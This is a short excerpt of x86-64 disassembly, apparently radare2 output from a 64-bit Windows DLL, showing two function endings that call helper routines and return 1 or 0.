mov byte [rbx], 0x5c
call fcn.180017a54
mov rbx, rax
test rax, rax
jne 0x1800058c1
mov rcx, rdi
call fcn.180001770
mov eax, 1
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov rdx, qword [rdi + 8]
lea rcx, [0x180032a10]
call fcn.180003b60
mov rcx, rdi
call fcn.180001770
mov rbx, qword [rsp + 0x30]
xor eax, eax
add rsp, 0x20
pop rdi
ret